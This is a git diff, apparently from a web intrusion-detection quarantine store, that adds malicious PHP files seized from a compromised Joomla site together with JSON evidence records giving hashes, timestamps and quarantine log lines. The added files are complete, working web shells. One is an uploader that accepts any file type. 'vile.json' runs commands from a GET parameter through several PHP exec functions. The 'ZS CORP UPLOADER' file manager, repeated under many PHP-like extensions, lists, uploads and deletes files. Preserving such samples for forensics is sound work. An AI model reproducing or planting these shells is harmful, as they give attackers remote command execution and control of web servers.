+ } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..67333b7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3035", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/js/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819471, + "size": 2852, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/js/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..bef63d8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2967", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819453, + "size": 2852, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json new file mode 100644 index 0000000..b8cbb94 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json @@ -0,0 +1,40 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode(" +",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json.evidence.json new file mode 100644 index 0000000..708c626 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3028", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/vile.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json)", + "original_sha256": "3e8674589c9a7ef3023d4ee162625c603a123d1aa79b09dc9f9b3f0a4e9c279e", + "original_stat": { + "gid": 30037, + "mtime": 1783956464, + "size": 1223, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/vile.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json.evidence.json new file mode 100644 index 0000000..a6f7a03 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3013", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925459, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json.evidence.json new file mode 100644 index 0000000..8aceb4a --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3021", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925453, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json.evidence.json new file mode 100644 index 0000000..8944952 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3008", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925422, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json.evidence.json new file mode 100644 index 0000000..7cbacb5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3029", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925431, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json.evidence.json new file mode 100644 index 0000000..8c71161 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2998", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925437, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json.evidence.json new file mode 100644 index 0000000..e6df2ce --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3026", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925442, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json.evidence.json new file mode 100644 index 0000000..1ac34bd --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3012", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925448, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
